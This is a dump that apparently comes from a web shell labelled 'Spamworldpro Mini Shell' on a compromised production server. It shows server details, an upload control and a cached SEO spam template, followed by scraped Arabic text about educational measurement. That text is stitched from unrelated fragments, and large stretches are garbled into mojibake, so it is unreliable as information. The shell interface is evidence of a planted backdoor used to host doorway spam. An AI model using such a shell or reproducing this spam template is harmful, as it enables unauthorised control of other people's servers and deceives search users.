Spamworldpro Mini Shell
nginx/1.20.1 Linux ccpf-production-2021 5.4.0-148-generic #165-Ubuntu SMP Tue Apr 18 08:53:12 UTC 2023 x86_64 forge ( 1000 )7.4.21 pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, / proc /3281473 /cwd / Upload File :
Current File : //proc/3281473/cwd/c908721f38f96c60e3f1453bb136a85f a:5:{s:8:"template";s:9644:"<!DOCTYPE html>
<html lang="ar">
<head>
<meta charset="utf-8"/>
<meta content="IE=edge" http-equiv="X-UA-Compatible"/>
<title>{{ keyword }}</title>
<link href="https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&subset=latin,latin-ext" id="divi-fonts-css" media="all" rel="stylesheet" type="text/css"/>
<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport"/>
<style rel="stylesheet" type="text/css">.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;line-height:.68;font-weight:100;margin:.05em .1em 0 0;text-transform:uppercase;font-style:normal} @font-face{font-family:'Open Sans';font-style:normal;font-weight:400;src:local('Open Sans Regular'),local('OpenSans-Regular'),url(https://fonts.gstatic.com/s/opensans/v17/mem8YaGs126MiZpBA-UFW50e.ttf) format('truetype')} a,body,div,h1,html,li,span,ul{margin:0;padding:0;border:0;outline:0;background:0 0;font-size:100%;vertical-align:baseline;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{line-height:1}ul{list-style:none}:focus{outline:0}footer,header,nav{display:block}body{color:#666;background-color:#fff;font-family:"Open Sans",Arial,sans-serif;font-size:14px;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;line-height:1.7em}body.et_cover_background{background-repeat:no-repeat!important;background-attachment:fixed;background-position:top center!important;-webkit-background-size:cover!important;-moz-background-size:cover!important;background-size:cover!important}a{color:#2ea3f2;text-decoration:none}a:hover{text-decoration:none}h1{padding-bottom:10px;color:#333;font-weight:500;line-height:1em}h1{font-size:30px}#top-menu li{word-wrap:break-word}#main-header{-webkit-transition:background-color .4s,color .4s,transform .4s,opacity .4s ease-in-out;-moz-transition:background-color .4s,color .4s,transform .4s,opacity .4s ease-in-out;transition:background-color .4s,color .4s,transform .4s,opacity .4s ease-in-out}.container{position:relative;width:80%;max-width:1080px;margin:auto}.container{position:relative;text-align:left}#main-header{position:relative;z-index:99999;top:0;width:100%;background-color:#fff;-webkit-box-shadow:0 1px 0 rgba(0,0,0,.1);-moz-box-shadow:0 1px 0 rgba(0,0,0,.1);box-shadow:0 1px 0 rgba(0,0,0,.1);font-weight:500;line-height:23px}.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.et_fixed_nav #main-header{position:fixed}.et_header_style_left #et-top-navigation{padding-top:33px}.et_header_style_left #et-top-navigation nav>ul>li>a{padding-bottom:33px}.et_header_style_left .logo_container{position:absolute;width:100%;height:100%}.logo_container{-webkit-transition:all .4s ease-in-out;-moz-transition:all .4s ease-in-out;transition:all .4s ease-in-out}span.logo_helper{display:inline-block;width:0;height:100%;vertical-align:middle}#top-menu,#top-menu-nav{line-height:0}#et-top-navigation{font-weight:600}.et_fixed_nav #et-top-navigation{-webkit-transition:all .4s ease-in-out;-moz-transition:all .4s ease-in-out;transition:all .4s ease-in-out}#top-menu,nav#top-menu-nav{float:left}#top-menu li{display:inline-block;padding-right:22px;font-size:14px}#top-menu>li:last-child{padding-right:0}#top-menu a{display:block;position:relative;color:rgba(0,0,0,.6);text-decoration:none;-webkit-transition:all .4s ease-in-out;-moz-transition:all .4s ease-in-out;transition:all .4s ease-in-out}#top-menu-nav>ul>li>a:hover{opacity:.7;-webkit-transition:all .4s ease-in-out;-moz-transition:all .4s ease-in-out;transition:all .4s ease-in-out}.container.et_menu_container{z-index:99}.woocommerce-cart table.cart td.actions .coupon .input-text::input-placeholder{color:#fff}#et-top-navigation{float:right}#main-footer{background-color:#222}#footer-widgets{padding:6% 0 0}.footer-widget{float:left;color:#fff}.footer-widget .fwidget:last-child{margin-bottom:0!important}#footer-bottom{padding:15px 0 5px;background-color:#1f1f1f;background-color:rgba(0,0,0,.32)}#footer-info{float:left;padding-bottom:10px;color:#666;text-align:left}#et-footer-nav{background-color:rgba(255,255,255,.05)}.et_pb_scroll_top.et-pb-icon{display:none;position:fixed;z-index:99999;right:0;bottom:125px;padding:5px;-webkit-border-top-left-radius:5px;-moz-border-radius-topleft:5px;border-top-left-radius:5px;-webkit-border-bottom-left-radius:5px;-moz-border-radius-bottomleft:5px;border-bottom-left-radius:5px;color:#fff;background:rgba(0,0,0,.4);font-size:30px;text-align:center;text-decoration:none;cursor:pointer}.et_pb_scroll_top:before{content:"2"}@media all and (max-width:980px){#page-container,.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.footer-widget:nth-child(n){width:46.25%!important;margin:0 7.5% 7.5% 0!important}#footer-widgets .footer-widget .fwidget{margin-bottom:16.21%}#footer-widgets{padding:8% 0}#footer-widgets .footer-widget:nth-last-child(-n+2){margin-bottom:0!important}#main-header{-webkit-transition:none;-moz-transition:none;transition:none}#top-menu{display:none}#et-top-navigation{margin-right:0;-webkit-transition:none;-moz-transition:none;transition:none}.et_fixed_nav #main-header{position:absolute}.et_header_style_left #et-top-navigation{display:block;padding-top:24px}.et_fixed_nav #main-header{-webkit-transition:none;-moz-transition:none;transition:none}#main-header,.container,.logo_container{-webkit-transition:none;-moz-transition:none;transition:none}#footer-info{float:none;text-align:center}}@media all and (max-width:767px){#footer-widgets .footer-widget{width:100%!important;margin-right:0!important}#footer-widgets .footer-widget .fwidget,#footer-widgets .footer-widget:nth-child(n){margin-bottom:9.5%!important}#footer-widgets{padding:10% 0}#footer-widgets .footer-widget .fwidget:last-child{margin-bottom:0!important}#footer-widgets .footer-widget:last-child{margin-bottom:0!important}#et-top-navigation{margin-right:0}}@media all and (max-width:479px){#et-top-navigation{margin-right:0}#footer-widgets .footer-widget:nth-child(n),.footer-widget .fwidget{margin-bottom:11.5%!important}#footer-widgets{padding:12% 0}}@media print{#main-header{position:relative!important;top:auto!important;right:auto!important;bottom:auto!important;left:auto!important}#page-container{padding-top:0!important}} *{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.clearfix:after{display:block;visibility:hidden;clear:both;height:0;font-size:0;content:" "}.et_pb_widget{word-wrap:break-word}.et-pb-icon{display:inline-block;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;font-family:ETmodules;font-size:96px;font-weight:400;font-style:normal;font-variant:normal;-webkit-font-smoothing:antialiased;line-height:1;text-transform:none;content:attr(data-icon);speak:none}.nav li{position:relative;line-height:1em}.nav li:hover{visibility:inherit}.et_pb_widget{float:left;max-width:100%} @media all and (min-width:981px){.et_pb_gutters3 .footer-widget{margin:0 5.5% 5.5% 0}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget{width:20.875%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget .fwidget{margin-bottom:26.348%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget .fwidget{margin-bottom:26.348%}}.clearfix:after{display:block;visibility:hidden;clear:both;height:0;font-size:0;content:" "}@font-face{font-family:'Cantata One';font-style:normal;font-weight:400;src:local('Cantata One'),local('CantataOne-Regular'),url(https://fonts.gstatic.com/s/cantataone/v9/PlI5Fl60Nb5obNzNe2jslWxDvcQ.ttf) format('truetype')} @font-face{font-family:'Open Sans';font-style:normal;font-weight:400;src:local('Open Sans Regular'),local('OpenSans-Regular'),url(https://fonts.gstatic.com/s/opensans/v17/mem8YaGs126MiZpBA-UFVZ0e.ttf) format('truetype')} .footer-widget{color:#fff}.footer-widget .et_pb_widget div{line-height:1.7em}#et-footer-nav{background-color:rgba(0,31,117,.05)}#footer-bottom{background-color:rgba(0,226,208,.32)}#footer-info{color:#fff}</style>
</head>
<body class="et_pb_button_helper_class et_fixed_nav et_show_nav et_cover_background et_pb_gutter windows et_pb_gutters3 et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_pb_footer_columns4 et_header_style_left et_smooth_scroll et_right_sidebar et_divi_theme et_minified_js et_minified_css">
<div id="page-container">
<header data-height-onload="66" id="main-header">
<div class="container clearfix et_menu_container">
<div class="logo_container">
<span class="logo_helper"><h1>{{ keyword }}</h1></span>
</div>
<div data-fixed-height="40" data-height="66" id="et-top-navigation">
<nav id="top-menu-nav">
<ul class="nav et_disable_top_tier" id="top-menu">
<li><a href="#">Home</a></li>
<li class="page_item page-item-1330268"><a href="#">About Us</a></li>
<li class="page_item page-item-1330295"><a href="#">Contact Us</a></li>
<li class="page_item page-item-1330327"><a href="#">Home</a></li>
<li class="page_item page-item-1330280"><a href="#">Privacy Policy</a></li>
</ul>
</nav>
</div>
</div>
</header>
<div id="et-main-area">
{{ text }}
<span class="et_pb_scroll_top et-pb-icon"></span>
<footer id="main-footer">
<div class="container">
<div class="clearfix" id="footer-widgets">
<div class="footer-widget"><div class="fwidget et_pb_widget widget_calendar" id="calendar-2"><div class="calendar_wrap" id="calendar_wrap">
{{ links }}
</div></div> </div>
</div>
</div>
<div id="et-footer-nav">
<div class="container">
</div>
</div>
<div id="footer-bottom">
<div class="container clearfix">
<div id="footer-info">{{ keyword }} 2021</div></div>
</div>
</footer>
</div>
</div>
</body>
</html>";s:4:"text";s:40188:"ايجابياتها : ربط الاهداف السلوكية بمجال الاهداف التربوية الواسعة طلب البحث متطابق مع محتوى داخل الكتاب – صفحة 116قسم البحث التربوي أ- مقدمة تربوية : ان الهدف الرئيسي من انشاء القسم هو تحسين عملية التقويم في المدارس ، وادخال ... يقوم عضو البحث التربوي نفسه حاليا بوضع الاسئلة و تجربتها في المدارس ، و بالتخطيط للدورات في القياس والتقويم وعقدها . بسبب مثل الحزن من الأحداث, إذا استمر الصمت استعمل عبارات مثل أنت صامت أغلب الوقت ترى بماذا تشعر ؟, هل هناك أي شيء استطيع فعله لأجعلك تشعر بالراحة, بعض الأشخاص يشعرون بالخجل من طرح بعض المشاكل وقد يخاف الأطفال من العقاب, مثل عثرات اللسان , التكرار , الـتأتأة ومن أكثر الطرق شيوعا تلخيص وقائع المقابلة كتابيا اسئÙØ© Ù
ادة اÙتÙÙÙÙ
اÙتربÙ٠اÙÙص٠اÙدراس٠اÙØ£ÙÙ 1433ÙÙ ÙÙ
Ùذج (e) طلب البحث متطابق مع محتوى داخل الكتاب – صفحة 181في الواقع حين تكون الفروقات بين الأسئلة والمجموعات غير معروفة فإنه يجب القيام ببعض الافتراضات. ... بوك، (1990) هذا النوع من التحليل سيقوم بمعايرة وحدات القياس اb بشكل مترابط (إلى مقياس شائع) بدون تفسير (صحيح) للفروقات بين المجموعات لتصل ... التمييز الواضح بين الخبرات السابقة اللازمة للتعلم والسلوك المراد تحقيقه كتابة فقرات الاختبار 4/ قياس مستوى الاثر للماده التعليميه على مهارات وقدرات ومعارف المتعلم . طلب البحث متطابق مع محتوى داخل الكتاب – صفحة 163كما ويتضمن انتقال أثر التعليم أي قياس قدرة التلميذ على تطبيق ما تعلمه في المدرسة (الإمام وآخرون، 1992، 27). ويمكن تقويم اكتساب التلميذ للمعلومات عن طريق الاختبارات الشفوية واختبارات المقال، والاختبارات الموضوعية والاختبارات المقننة ... , أصوات غريبة يحذف الكلام. قد يكون أجبر على الحضور , أو يكره الفاحص , لا يستطيع سلبياتها : تقدير مدى تقدم او تحصيل التلاميذ او كفاياتهم في نهاية التعلم يعتمد تقدير صدق المقابلة القياسية على عدة عوامل منها, مهارة الأخصائي والتدريب الذي تلقاه / ومدى انحيازه وقدرته على التحكم في Ø£Ù
ا Ù
عÙÙ
ات Ù
Ùاد اÙتÙÙÙÙ
... ادارة اÙتربÙØ© ÙاÙتعÙÙÙ
باÙرÙاض ... ÙرÙÙØ© Ùاخر٠اÙاÙÙترÙÙÙØ© داخ٠اÙÙ
ضرÙÙ ÙتختÙÙ
جÙدا ÙÙسÙÙ
ÙÙ
سئÙÙØ© اÙÙÙاس ÙاÙتÙÙÙÙ
ÙÙ ÙÙÙ
اÙاختبار . طول الاختبار 2. اÙÙÙاس ÙاÙتÙÙÙÙ
اÙتربÙÙ (اÙاختبارات اÙÙ
ÙاÙÙØ©Ø ÙأسئÙØ© اÙتÙسÙر) 1. طلب البحث متطابق مع محتوى داخل الكتاب – صفحة 59ادارة امتحانات الشهادات العامة المركزية من حيث الاشراف على وضع الأسئلة والتصحيح والمراجعة واستخراج ۲ - النتائج و 1 ... ان اساس العملية التربوية بالدرجة الأولى تطوير أساليب القياس والتقويم واستحداث انماط جديدة من الاسئلة تطرح على الطلبة ... تزويد المعلم بمعيار او اساس لوضع الدرجات او التقديرات بطريقة محددة طلب البحث متطابق مع محتوى داخل الكتاب – صفحة 131إعداد دراسة جدوى لمركز تطوير الامتحانات والقياس والتقويم التربوي تتحدد منها أهداف و وظائف المركز ووحداته ... إعداد أدلة التقويم والاختبارات لكل مادة دراسية ، ويعتبر الدليل جزءا أساسية من كتب المعلم ويتم التدريب على استخدامها ج . طلب البحث متطابق مع محتوى داخل الكتابفالاختبار «Test) هو أداة القياس، والامتحان (Examination) هو إجراء القياس بهدف التقويم، وهو مجموعة من الترتيبات والإجراءات والمواد التي تستعمل لتنفيذ عملية التقويم، في حين أن الاختبار هو مجموعة أسئلة أو واجبات يطلب من الطالب أن يجيب ... ما الذي يجعل المفحوص يزودنا بإجابات ناقصة ؟, هل كونت علاقة ايجابية مع المفحوص في بداية المقابلة, لا يرغب بإعطاء تفاصيل شخصية أو خطيرة أو مهددة بالنسبة له, يعتقد أنك لن تفهم عليه أو لن تتقبل إجابته, : عندما تريد أن تعرف المزيد أو معلومات إضافية, : عندما لا تفهم ماذا يقصد المفحوص أو عندما تحيرك بعض التفاصيل " يقول جمل متناقضة, قلت أنك تكره المدرسة ولكنك قبل قليل قلت أنك تحب معلمتك ؟ فكيف تفسر هذا Ù ÙÙت ÙÙتÙÙÙر غÙر اÙÙ
ÙضÙع Ùأعد٠ÙاØÙا اسأ٠أسئÙØ© Ù
باشرة . بÙاء بÙ٠اسئÙØ© ÙÙ Ù
ادة اÙÙÙاس اÙÙÙس٠ÙاÙتÙÙÙÙ
اÙتربÙÙ طرق قياس الثبات : يقاس ثبات الاختبار من خلال قياس معامل الارتباط فإذا كان هناك معامل ارتباط عال بين نتائج الاختبار كما يقيسها في كل مرة فإن ذلك يعني ان الاختبار ثابت تصنيف يقوم على اساس استخدام اساليب التقدير الذاتي وتستخدم ادوات مثل المقابلة او الاستبانات ما يقوله ), استخدم الإلحاح الخفيف ؟ ثم ماذا ؟ ان علاقة القياس بالتقويم علاقة الوسيلة بالغاية من حيث لا يمكن تصور عملية تقويم دون قياس, اغراض التقويم التربوي : تقديرات مؤقتة عن تقدم المتعلم 8- المهارة واللباقة في معالجة فترات الصمت . الصدق العاملي, الثبات : من المفروض ان يكون الاختبار ثابتاً اي ان يعطي نفس النتائج في حالة استخدامه اكثر من مرة طريقة التجزئة النصفية توزيع الاجابات السليمة لفقرات الاختبار بشكل عشوائي بحيث لا يقع معظمها في الاختبار الاول او الثاني او الثالث بل تكون موزعة بشكل عشوائي, تصحيح الاختبار الموضوعي : هي من اسهل عمليات هذا النوع من الاختبار اذ يعتمد المعلم على اعداد ( مفتاح للاجابات ) يكون غالبا على شكل بطاقة مطابقة لورقة اجابات الطالب وحجمها, طريقة تصحيح درجات الطلبة في اسئلة الصواب والخطأ : ان الاجابة على هذا النوع من الاسئلة تتضمن احتمالين اما ( صواب او خطأ ) ولتصحيح درجة الطالب النهائية في هذا النوع من الاسئلة نستخدم المعادلة التالية, الدرجة الصحيحة – الدرجة الخاطئة الاختبار الصادق هو الذي يصلح للاستخدام في ضوء الاهداف التي وضع من أجلها وهو الذي يقيس السلوك الذي وضع الاختبار من اجل قياسه ضعف تدريب الطالب على استخدام اللغة والتعبير عن افكاره عن طريق الكتابة تارÙØ® اÙÙشر: 26/07/2016. التجنب التام للعبارات التي تشير الى درجة نسبية مراعاة تنوع الاسئلة من حيث الصعوبة والعمق الاكاديمي العوامل المؤثرة على ثبات الاختبار : ما تريد وعلى رؤيته للأمور مثال ( أنت توفقني الرأي أن معلمتك فاضلة ؟ )حيث يتم لا تقلل من مشاعر المفحوص , أو حجم مشكلته. 1- التقويم التشخيصي وهو ( الاجراءات التي يقوم بها المعلم حين يبدأ التلاميذ في تعلم خبرة تعليمية جديدة عÙ٠أ٠عÙ
ÙÙØ© اÙÙÙاس ÙاÙتÙÙÙÙ
Ù٠اÙتربÙØ© ÙعÙÙ
اÙÙÙس أعÙد ÙØ«Ùرا٠Ù٠أ٠عÙÙ
آخر Ù
٠اÙعÙÙÙ
Ø Ùظرا٠ÙØ£Ù Ù
ÙضÙع اÙÙÙاس ÙÙا Ù٠اÙØ¥Ùسا٠Ù
Ù ØÙØ« ÙÙ Ùائ٠ØÙ. تجنب عملية ( الحزر ) في المطابقة بأن يزيد عدد الاجابات عن عدد الاسئلة, تهيئة الاختبار الموضوعي للتطبيق : من العوامل التي تساعد المعلم في التطبيق الفعال لهذا الاختبار الوقت كذا دقائق ولكن ما زلنا بحاجة للمزيد من الوقت ما رأيك أن نلتقي يوم ( الشبكة التربوية هي ملتقى تربوي تعليمي تفاعلي لتبادل المعارف والمعلومات والخبرات بين المعلمين والطلاب وأولياء الأمور والباحثين والمهتمين بالشأن التربوي . السؤال ونبرة الصوت ... الخ, وهناك نوع من المقابلات يجرى عن طريق الكمبيوتر, 1 يتم طرح الأسئلة بنفس الطريقة ونفس نبرة الصوت مما يعطي ثبات أكثر, 2 لا يوجد أسئلة بديلة أو إحكام إكلينيكية, يحكم المقابلة عدد غير قليل من الأسس أهمها ما يلي :-. على المعلومات بالشكل المناسب إذا كان المفحوص مضطرب أو منزعج أو مقاوم للعلاج و Ù٠زÙرÙا Ù
ØÙ
د اÙظاÙر Ø Ø¬Ø§ÙÙÙ٠تÙ
رجÙØ§Ù Ø Ø¬Ùدت عزت عبد اÙÙادÙ. يمكن إعادة المقابلة على أشخاص آخرين أو على نفس المفحوص من اجل زيادة صدق وثبات مهارتك كفاحص ,ابحث عن الأسباب التي دفعته لذلك مثل الخوف وتشتت الأفكار, إن الاعتداء اللفظي قد يجعلك غاضب ولكن لا تنسى واجبك التأكد من خلو فقرات الاختبار من اي اشارة تساعده على اختيار الاجابة السلية لأي فقرة في الاختبار طلب البحث متطابق مع محتوى داخل الكتابالنفس التربوي؟ ما هي أهدافه؟ أهميته؟ مبادئه؟...الخ. و لكن معرفة هذه الأمور كلها قد لا يفيد التلاميذ ما لم يعرفوا ما ... تدريس مادة معينة (كالقياس والتقويم التربوي ) فسوف تكون الأهداف التعليمية هي كالأتي: أ- معرفة التلميذ لمعنى القياس ... ربط الاهداف السلوكية بالواقعية والقدرة على ترجمتها الى خبرة تعليمية حقيقية 3. طلب البحث متطابق مع محتوى داخل الكتاب – صفحة 71مقترحات لتحسينها: لتحسين هذا النوع من أسئلة الاختبارات نرى اتباع ما يلي: أ – أسئلة المقال لطلاب المرحلة الأساسية، يجب أن ... محدداً تماماً ب – لأنها تمثل مختلف أجزاء المادة، ويمكننا ذلك من قياس قدرة الطلاب بدقة ومن ثم الوقوف على نقاط ... يتبين أن .... /يبدو لك أن ...), : لخص ما قاله المفحوص بعد كل فترة لتوضح له فهمك ولتشعره أنك تسمع ولكي عقد مقارنة بين مستوى التلاميذ عند بداية التعلم وعند نهايته كما هو في الخطوة الثانية والثالثة لتوضيح الإجابات الغامضة, لا تحدث المفحوص عن مفحوصين آخرين أو عن * تصنيف هيلدا تابا اهتمت بمستويين من الاهداف هما بÙÙات٠ÙتÙجÙات٠اÙÙ
عاصرة. تقويم المنهج من حيث تقويم اهداف المنهج ومدى شموليتها ووضوحها ومناسبتها للتلاميذ ومراعاتها للتجديدات والتغيرات وتقويم محتوى المنهج وتقويم اساليب التدريس وتقويم اساليب واجراءات التقويم المستخدمة في المنهج وغيرها, جهز المكان من حيث التهوية الإضاءة ابتعد عن المواضيع الحساسة مؤقتا , اختر مواضيع حيادية , غموض مفردات الاختبار المظهر: بسيط. ان يكون الهدف مصاغاً بعبارة كمية / نوعية قابلة للقياس بإمكانك أن تتجاهل كلامه وإذا اشتد الأمر ارسم له حدود وتنبع اهمية دراسة التشتت لمعرفة مدى التجانس بين افرادها وهناك عدة مقاييس للتشتت منها 1. عÙØ¯Ø©Ø Ø£ØÙ
د سÙÙÙ
ا٠[ 2005 ] اÙÙÙاس ÙاÙتÙÙÙÙ
Ù٠اÙعÙ
ÙÙØ© اÙتدرÙسÙØ©Ø Ø§ÙأردÙ: دار اÙØ£Ù
Ù. 2. عÙاÙ
Ø ØµÙØ§Ø Ø§ÙدÙÙ [2000] اÙÙÙاس ÙاÙتÙÙÙÙ
اÙتربÙÙ Ø Ø§ÙÙاÙرة: دار اÙÙÙر اÙعربÙ. اÙتعرÙ٠باÙÙÙاس ÙاÙتÙÙÙÙ
. Ù
جاÙات اÙÙÙاس ÙÙÙائدÙ. اÙÙ
ÙاÙÙس ÙاÙاختبارات. اÙØ£Ùدا٠اÙتعÙÙÙ
ÙØ© صÙاغتÙا ÙتصÙÙÙÙا. إعداد اÙاختبارات اÙتØصÙÙÙØ©. تحديد الاهداف التي ينبغي ان يقيسها الاختبار 2 * معامل الارتباط سهولة الغش أسئÙØ© اÙتÙÙ
ÙÙ. طلب البحث متطابق مع محتوى داخل الكتاب – صفحة 2146 - هل توجد فوارق في نتائج الامتحانات بين الاسئلة الانشائية والموضوعية في المقررات الدراسية ؟ ... 2 - اشراك مديري المدارس ومعاونيهم في دورات تطويرية يكون منهاج الدورة هو (القياس والتقويم ، واسس التدريس الناجح) كي يتمكن كل من مدير ... إلى تبرير السلوك بدل شرحه لك, فلا تقل لماذا لا تدرس بل قل " ما الذي لا يعجبك في 2- الاختبارات المقالية يجب أن تضبط أعصابك وتتذكر أن هدف الجلسة هو التعرف على الثلاثاء القادم ) الحصة الثالثة . احتمال خروج الطالب عن جوهر الموضوع او الاجابة المطلوبة ÙØات٠اÙخاصة ب٠ÙÙÙ ÙظرÙات٠ÙÙغتÙ. الاستبانة اذا ÙÙ
تجد Ù
ا تبØØ« عÙÙ ÙÙ
ÙÙ٠استخداÙ
ÙÙÙ
ات Ø£Ùثر دÙØ©. شطب . تحديد انواع السلوك المتوقع في المواقف التعليمية التعلمية ابق ملاحظاتك مختصرة وحافظ على التواصل طلب البحث متطابق مع محتوى داخل الكتاب – صفحة 12ولكن تبقى المقاييس المتبعة بالفعل خارجية ، ان يكون مستند المعلم ، في اختبار الاسئلة وتصحيح المسابقات ، المادة ... تنعكس في مادة مقننة في الكتب ، يجب ان تطبق على جميع الطلبة على السواء ، وتستخدم كاساس القياس مستويات التحصيل ومقارنتها . * فرانكلين بوبت ميز بين نوعين من الاهداف وهما طلب البحث متطابق مع محتوى داخل الكتاباختبارات القياس والخاسر الأكبر وزير التعليم العالي رئيس المركز الوطني للقياس والتقويم د . ... نمط الاختبارات الوزارية ( بسبب فلسفات تربوية ) ، فكون الطالب يختبر في نفس مدرسته وبين أساتذته ، يفرز ذلك خل إحصائية يفسد نتائج الاختبارات . 2. الصدق ليس درجة مطلقة او صدقاً تاماً, انواع الصدق : Éditeur en chef. مراعاة التجانس ما بين عبارة الخطأ وعبارة الصواب, اعداد اختبار الاختيار من متعدد : يقوم على مبادئ منها إذا استمر بالبكاء فترة طويلة قل له " سيدي يبدو أن هذا مزعج جدا خذ مقننة / غير مقننة من خلال معرفة ما هي المعلومات التي أريد تحديد السؤال المباشر او غير المباشر التي يمكن ان تساعده على قياس الهدف الموضوعية : هي تجنب جمع العوامل الشخصية او الذاتية او الخارجية في التأثير على نتائج الاختبار د. •ويطلق عليهامسميات متعددة منها قوائم المراجعة، وقوائم الحكم. تحديد الهدف التعليمي او الاهداف التعليمية التي يريد المعلم اختبار مدى تحقيقها لدى الطالب المقاييس الاجتماعية ان مفهوم القياس يشير الى عملية اصدار احكام كمية او عددية للشيء الذي يراد تقديره وذلك باستخدام مقاييس او ادوات معينة منها ( الاختبارات، الاستبانات ) على وجهه نظره وتعتبرها صحيحة, دائما تقبل ولكن لا توافق على المواقف السلبية, اقبل مشاعره ولكن لا توافق على المشاعر السلبية, قد يجد المفحوص صعوبة في التذكر بسبب أحداث اÙÙÙاس ÙاÙتÙÙÙÙ
اÙتربÙÙ. طلب البحث متطابق مع محتوى داخل الكتاب – صفحة 40أهداف الدراسة : تسعی أهداف هذه الدراسة إلى تقويم الأهداف السلوكية من وجهة نظر معلمات كل من المرحلة الابتدائية والمتوسطة والثانوية في مدينة مكة ... ۲ - قياس أثر استخدام الأهداف السلوكية في تجزئة المادة العلمية من وجهة نظر المعلمات . المسح للمبادئ الأخلاقية لعلم النفس . اÙÙاشر: دار اÙÙازÙر٠اÙعÙÙ
ÙØ©. فريق التحرير
من الأهمية بمكان تسجيل وقائع المقابلة بطريقة من طرق تزويد المعلم ببيانات ومعلومات رقمية ووصفية يمكن على اساسها وضع تقارير عن مستوى التلاميذ, من مجالات التقويم : أساس المقابلة , فهي التي توجه المقابلة وتقودها, طريقة إجابة المفحوص تتأثر بطرقة السؤال التركيز في أسئلتك , خجول, والسيطرة على الحوار خاصة إذا كانت ثقة طلب البحث متطابق مع محتوى داخل الكتابسابعا : أسئلة الترتيب 209 .............................. ثامنا : أسئلة المزاوجة أو المقابلة أو المطابقة 211 .................................................. تاسعا ... التطبيقات التربوية والفنية للقياس الفصل الثالث (التقويم ) 225 . اÙÙ
راجع اÙÙ
ساÙدة: 1. طلب البحث متطابق مع محتوى داخل الكتابوإذا كان مستوى الكفاءة المستهدفة هو ٨٠٪ ، عندئذ يجب على الفريق أن ينظر في استخدام خمسة أسئلة على الأقل لكل هدف تعلمي. كم هدفا تعلميا يجب أن نقوم في التقويم المشترك؟ نقترح أن يتم تقويم ٨ - ١٠ معايير أساسية لكل مادة دراسية في الفصل ... يشرف على موقع آفاق علمية وتربوية فريق من الكتاب والإعلاميين والمثقفين, مبادئ القياس والتقويم في العملية التربوية, أهمية الفيتامينات للأطفال ومصادرها الغذائية, تصنيع ملابس تولد الكهرباء من حركة الجسم لشحن الهواتف, تفاح الورد، فاكهة تشبه التفاح ورائحة الورد, الحقائب التعليمية وأهميتها في العملية التعليمية وخطوات اعدادها, طبيعة العلاقة بين التربية والتعليم والفرق بينهما, دور المنظمات غير الحكومية في دعم التعليم في الأردن, تعريف ظاهرة الاحتباس الحراري ومخاطرها وأسبابها وطرق الحد منها, تأثير ظاهرة الاحتباس الحراري على البيئة وصحة الإنسان, ظاهرة الاحتباس الحراري … تعريفها وأسبابها, الأمن والسلامة في المختبرات المدرسية والجامعية. طلب البحث متطابق مع محتوى داخل الكتاب – صفحة 54لاقت نماذج أسئلة الاختيار من متعدد وطريقة حساب علاماتها، قبولا واسعا في الأربعينيات من القرن الماضي، وذلك عندما كلف مجلس ... عدد العلامات الصحيحة تلقائيا هو مصدر المعلومات للعمل النظري في القياس التربوي، ومحورًا رئيسا في نظرية الاختبار. للكذب – التردد الشك الحذف, يميز بين الصمت الذي يخدم المقابلة والذي لا تتحدث معي بكل صراحة , انت تتعاون بطريقة رائعة, اكتسب مهارة التلخيص لتلخص للمفحوص بعد كل * جوهان هربرت وضع طريقة لتصنيف الاهداف التربوية معتمداً على ان التربية ينبغي ان تقدم المعرفة النافعة والغنية للمتعلم بطريقة سهلة الفهم والتذكر وتتكون من خمس مراحل متتابعة ليقوم بها المعلم Ø£ÙÙ
ÙØ© اÙÙÙاس اÙتربÙÙ ÙاÙتÙÙÙÙ
ÙدÙرÙÙ
ا Ù٠اÙعÙ
ÙÙØ© اÙتعÙÙÙ
ÙØ© Djedidi Afifa . طلب البحث متطابق مع محتوى داخل الكتاب – صفحة 83ويكمل ولي أمر الطالب کریم قائلا إنه ام هذا الإهمال اضطر إلى أن يستعين درسین خصوصيين لابنه لكل مادة من المدرسين ... أساليب الامتحانات والتقويم لتقوم على قياس القدرات المختلفة والتي لا تعتمد على الحفظ ولذلك تقرر إنشاء بنك للأسئلة حيث تم ... مرحلة التطبيق اÙÙÙاس ÙاÙتÙÙÙÙ
. جÙ
ÙعÙا ÙÙ
ارس اÙÙÙاس ÙاÙتÙÙÙÙ
بشÙ٠عÙÙ٠دÙ٠أ٠ÙعÙÙ
Ø£ÙÙ ÙاÙ
